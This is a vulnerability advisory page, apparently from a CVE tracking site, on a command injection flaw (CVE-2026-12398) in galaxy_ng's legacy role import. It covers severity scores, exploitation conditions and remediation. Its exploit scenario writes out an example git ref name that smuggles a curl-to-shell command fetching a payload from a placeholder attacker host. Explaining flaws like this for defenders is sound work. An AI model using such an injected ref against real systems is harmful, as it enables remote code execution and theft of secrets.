Skip to main content

galaxy_ng CVE-2026-12398

| EUVDEUVD-2026-37124 HIGH
OS Command Injection (CWE-78)
2026-06-16 redhat GHSA-6hw7-j4jw-wpff
7.5
CVSS 3.1 · Vendor: redhat
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate to galaxy_ng API
  2. Delivery
    Host git repo with malicious ref name
  3. Exploit
    Submit legacy v1 role import
  4. Install
    Pulp worker runs do_git_checkout with shell=True
  5. C2
    Shell metacharacters in ref execute
  6. Execute
    Code runs as pulp worker
  7. Impact
    Pivot to AAP secrets

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires four concrete conditions, all derivable from the description and CVSS vector: (1) the target galaxy_ng deployment must have the setting GALAXY_ENABLE_LEGACY_ROLES=True, which is explicitly not the default; (2) the attacker must hold a low-privileged authenticated account on the Galaxy API (CVSS PR:L) able to call the legacy v1 role import endpoint; (3) the attacker must control a git repository reachable by the pulp worker so they can create a branch or tag whose name contains shell metacharacters; and (4) the malicious ref name must survive transport to do_git_checkout() and be passed into subprocess.run(..., shell=True). No user interaction on the victim side is required (UI:N). Limiting factors are the non-default configuration flag, the authentication requirement, and CVSS AC:H reflecting that the attacker must orchestrate the malicious git ref and import flow together.

Impact

The signals point to a real but conditional risk rather than a mass-exploitation issue. The CVSS 3.1 vector (AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H, base 7.5) correctly reflects that the attacker needs network access plus a low-privileged authenticated account, and that AC is High because exploitation requires the non-default GALAXY_ENABLE_LEGACY_ROLES=True setting plus the ability to publish a malicious git ref. The vulnerability is not in CISA KEV and EPSS data was not supplied, so there is no evidence of active exploitation; likewise no public PoC was referenced, so exploitation status is 'no public exploit identified at time of analysis.' The C:H/I:H/A:H impact is credible because code execution lands on the pulp worker, which typically holds credentials and content-signing material. Priority should be high specifically for AAP 2 operators who have enabled legacy roles, and medium-low elsewhere; the most important caveat is that affected/fixed versions are not enumerated in the input, so defenders must rely on the Red Hat advisory to confirm exposure.

Exploit ScenarioDerived

An attacker registers a low-privileged account on a galaxy_ng instance where GALAXY_ENABLE_LEGACY_ROLES is enabled, then publishes a git repository (e.g., on GitHub) containing a branch or tag named something like v1.0;curl attacker.tld/s|sh;#. They submit that repository through the legacy v1 role import API; the pulp worker invokes do_git_checkout(), which interpolates the ref into a shell command, and the injected payload executes on the worker as the pulp service user. No public PoC has been referenced in the supplied intelligence.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.9% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 16, 2026

Remote code execution in galaxy_ng's legacy role import API (v1) allows an authenticated user controlling a git repository to execute arbitrary commands on the pulp worker by crafting a branch or tag name containing shell metacharacters. The flaw stems from unsanitized git ref interpolation into a subprocess.run() call with shell=True inside do_git_checkout(), and only affects deployments where GALAXY_ENABLE_LEGACY_ROLES is explicitly enabled (non-default). No public exploit identified at time of analysis.

RemediationAI

Patch availability is not stated explicitly in the supplied data, so treat this as 'Patch available per vendor advisory' and consult https://access.redhat.com/security/cve/CVE-2026-12398 and https://bugzilla.redhat.com/show_bug.cgi?id=2489180 for the exact fixed galaxy_ng / Ansible Automation Platform 2 builds. The simplest compensating control is to set GALAXY_ENABLE_LEGACY_ROLES=False (the default), which removes the vulnerable v1 role import endpoint entirely; the trade-off is that users can no longer import legacy Galaxy v1 roles and must migrate to collections. If legacy roles must remain enabled, restrict who can authenticate to the Galaxy API and who can submit role imports (limit to trusted internal users), and front the API with a reverse proxy that blocks POSTs to the v1 role import endpoint from untrusted networks. As a deeper hardening measure, run the pulp worker under a dedicated low-privilege account in a sandbox (container with no outbound network, read-only FS) so that command execution via a malicious git ref cannot pivot to secrets or signing keys.

Affected Packages

pypi galaxy-ng no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

galaxy_ng is the Red Hat Ansible Galaxy content service that ships as part of Red Hat Ansible Automation Platform 2 (per the provided CPEs). The vulnerable code path lives in the legacy v1 role import API, which clones user-supplied git repositories on a pulp worker to import Ansible roles. The do_git_checkout() helper builds a shell command string that concatenates a git ref (branch or tag name) supplied by the remote repository and then runs it through Python's subprocess.run(..., shell=True), so the shell - not git - parses the ref. This is a textbook CWE-78 (OS Command Injection): metacharacters such as ;, &&, $(...) or backticks embedded in the ref are interpreted by /bin/sh and executed in the worker context.

Know when Red Hat Ansible Automation Platform 2 gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (redhat) PRIMARY 7.5 HIGH
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
vuln.today AI 7.5 HIGH

Network-reachable API (AV:N) but requires non-default GALAXY_ENABLE_LEGACY_ROLES and attacker-controlled git ref (AC:H); needs an authenticated account (PR:L); RCE on pulp worker yields full C/I/A impact.

3.1 AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Red Hat 7.5 MEDIUM

Primary rating from Vendor (redhat).

CVSS VectorVendor: redhat

Attack Vector
Network
Attack Complexity
High
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

A command injection vulnerability was found in galaxy_ng. The do_git_checkout() function in the legacy role import API (v1) interpolates unsanitized git ref names (branch/tag names) into shell commands executed via subprocess.run() with shell=True. An authenticated user who controls a git repository can create a branch or tag with shell metacharacters in the name to achieve remote code execution on the pulp worker. The vulnerable endpoint is only reachable when GALAXY_ENABLE_LEGACY_ROLES is set to True, which is not the default configuration.

Executive ViewAI

Why It Matters

A remote code execution vulnerability in Ansible Galaxy NG's legacy role import API allows authenticated users to execute arbitrary code on the pulp worker service, creating a risk vector for insider threats and compromised repository credentials. This affects organizations where legacy role imports are explicitly enabled, potentially compromising the entire automation infrastructure reliant on this service.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: disable GALAXY_ENABLE_LEGACY_ROLES if operationally feasible; restrict and rotate repository credentials; implement network segmentation to isolate pulp workers from untrusted networks; implement audit logging on role import operations.

Threat Intelligence Overview

EPSS Score
0.9%
Top 45% exploitable
Threat Intel
1
1 sources
Social Media
1
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor CIRCL VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.9%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

39
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Affected Products (CPE)CVE.org

cpe:2.3:a:red_hat:red_hat_ansible_automation_platform_2:*:*:*:*:*:*:*:*
cpe:2.3:a:red_hat:red_hat_ansible_automation_platform_2:*:*:*:*:*:*:*:*
cpe:2.3:a:red_hat:red_hat_ansible_automation_platform_2:*:*:*:*:*:*:*:*
cpe:2.3:a:red_hat:red_hat_ansible_automation_platform_2:*:*:*:*:*:*:*:*
cpe:2.3:a:red_hat:red_hat_ansible_automation_platform_2:*:*:*:*:*:*:*:*
CVE-2026-84719 CRITICAL
9.9 Sep 23

Missing authorization checks in the Red Hat Ansible Automation Platform 2 automation-controller allow an authenticated o

CVE-2026-84502 CRITICAL
9.9 Sep 23

Authenticated users who hold permission to create or modify a project within a single organization can execute arbitrary

CVE-2026-84474 CRITICAL
9.9 Sep 23

Privilege escalation and remote code execution on managed hosts is possible in Red Hat Ansible Automation Platform 2 bec

CVE-2026-11807 CRITICAL
9.6 Jun 23

Credential disclosure in Red Hat Ansible Automation Platform 2.5 and 2.6 allows any authenticated user to retrieve plain

CVE-2026-12564 CRITICAL
9.6 Aug 18

Server-side request forgery in the Red Hat Ansible Automation Platform 2 Controller's HashiCorp Vault credential plugin

CVE-2026-75884 CRITICAL
9.1 Sep 23

Privilege escalation in Red Hat Ansible Automation Platform 2 (built on the AWX upstream project) lets an authenticated

CVE-2026-12701 CRITICAL
9.0 Jul 20

Arbitrary file write in pulpcore's FilesystemExport feature allows an authenticated administrator to escape the intended

CVE-2026-89091 HIGH
8.8 Oct 08

Symlink-following file overwrite on the Ansible control node is possible in ansible-core when a user runs `ansible-galax

CVE-2026-84683 HIGH
8.7 Sep 23

Stored cross-site scripting in the automation-controller component of Red Hat Ansible Automation Platform 2 lets an auth

CVE-2026-84691 HIGH
8.7 Sep 23

An authenticated automation-controller administrator in Red Hat Ansible Automation Platform 2 can turn the administrator

CVE-2026-92982 HIGH
8.5 Oct 15

Jinja2 template injection in Ansible Operator Plugins (CWE-1336) lets an authenticated Kubernetes user who can create or

CVE-2026-76648 HIGH
8.5 Sep 23

Missing object-level authorization in the JobTemplate copy endpoint (CopyAPIView) of AWX and Red Hat Ansible Automation

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy